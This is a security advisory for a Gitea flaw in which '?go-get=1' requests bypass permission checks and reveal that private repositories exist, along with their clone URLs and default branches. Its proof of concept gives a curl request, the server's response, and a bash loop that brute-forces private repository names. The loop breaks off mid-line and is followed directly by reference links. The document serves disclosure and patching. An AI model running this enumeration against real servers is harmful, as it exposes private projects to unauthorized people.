CVE-2026-58507: Gitea · Private Repository Existence Disclosure via go-get Meta Endpoint

| Field | Value | |-------|-------| | **Affected File** | `routers/web/repo/githttp.go`, `services/context/repo.go` | | **Affected Functions** | `httpBase()`, `EarlyResponseForGoGetMeta()` | | **Affected Lines** | `githttp.go:63–66`, `services/context/repo.go:374–396` | | **Prerequisite** | None — fully unauthenticated | --- #### Description Gitea implements a special behavior for requests containing the `?go-get=1` query parameter. This parameter is sent by the Go toolchain (`go get`, `go install`) to discover VCS metadata for module imports. When Gitea detects this parameter in the HTTP request path for a repository, it bypasses the normal authentication and authorization stack and returns an HTTP 200 response containing `<meta name="go-import">` and `<meta name="go-source">` tags — regardless of whether: - The repository is private - The requesting user is authenticated - The requesting user has any permission on the repository The entry point is `routers/web/repo/githttp.go:63–66`: ```go func httpBase(ctx *context.Context, optGitService ...string) *serviceHandler { reponame := strings.TrimSuffix(ctx.PathParam("reponame"), ".git") if ctx.FormString("go-get") == "1" { context.EarlyResponseForGoGetMeta(ctx) return nil // ← returns before any auth or permission check } ... ``` The `EarlyResponseForGoGetMeta` function (`services/context/repo.go:379–396`) is called unconditionally, and the function's own docstring documents the intended behavior: ```go // EarlyResponseForGoGetMeta responses appropriate go-get meta with status 200 // if user does not have actual access to the requested repository, // or the owner or repository does not exist at all. // This is particular a workaround for "go get" command which does not respect // .netrc file. func EarlyResponseForGoGetMeta(ctx *Context) { username := ctx.PathParam("username") reponame := strings.TrimSuffix(ctx.PathParam("reponame"), ".git") ... ctx.PlainText(http.StatusOK, htmlMeta) // ← HTTP 200, no auth check } ``` The function also appears at `services/context/repo.go:444, 516, 571` — all repository-scoped route handlers that check `?go-get=1` and call `EarlyResponseForGoGetMeta` before performing any permission verification. The metadata returned includes: 1. The **full repository name** and owner — confirming the repository exists 2. The **HTTP clone URL** — a fully-formed URL pointing to the repository 3. The **source browsing URL templates** — which may reveal the default branch name This allows an unauthenticated attacker to: 1. **Confirm existence** of any private repository by name 2. **Enumerate** private repository names through brute-force without triggering authentication failures 3. **Harvest** clone URLs and default branch names of private repositories --- #### Proof of Concept **Step 1 — Identify a private repository** Any private repository works. For this demonstration, `admin/classified-internal` is set to private: --- **Step 2 — Confirm access is denied without authentication** Standard requests to a private repository correctly return 404 for unauthenticated users. --- **Step 3 — Bypass using go-get parameter** ```bash curl -s "http://localhost:3000/admin/classified-internal?go-get=1" ``` **Actual response (HTTP 200):** ```html <!doctype html> <html> <head> <meta name="go-import" content="localhost:3000/admin/classified-internal git http://localhost:3000/admin/classified-internal.git"> <meta name="go-source" content="localhost:3000/admin/classified-internal _ http://localhost:3000/admin/classified-internal/src/branch/main{/dir} http://localhost:3000/admin/classified-internal/src/branch/main{/dir}/{file}#L{line}"> </head> <body> go get --insecure localhost:3000/admin/classified-internal </body> </html> ``` The response: - Returns HTTP **200** (not 404) — confirming the repository **exists** - Reveals the **full clone URL**: `http://localhost:3000/admin/classified-internal.git` - Reveals the **default branch name**: `main` - Reveals the **owner username**: `admin` This same response is returned whether or not the repository exists — the comment in `EarlyResponseForGoGetMeta` states it responds identically for both — however in practice, the clone URL generated will be functionally different (a real clone attempt against a non-existent repo fails, while one against a private repo fails only at authentication). An attacker can differentiate using response timing or by attempting `git ls-remote`. --- **Step 4 — Enumerate private repositories at scale** ```bash # Enumerate private repos by guessing common names for name in internal deploy secrets infra api-keys prod-config db-creds; do response=$(curl -s "http://localhost:3000/admin/${name}?go-get=1") if echo "$response" | grep -

• github.com/go-gitea/gitea/security/advisories/GHSA-p4mj-98mv-xq26 (opens in a new tab)
• github.com/go-gitea/gitea (opens in a new tab)
• github.com/go-gitea/gitea/releases/tag/v1.27.0 (opens in a new tab)

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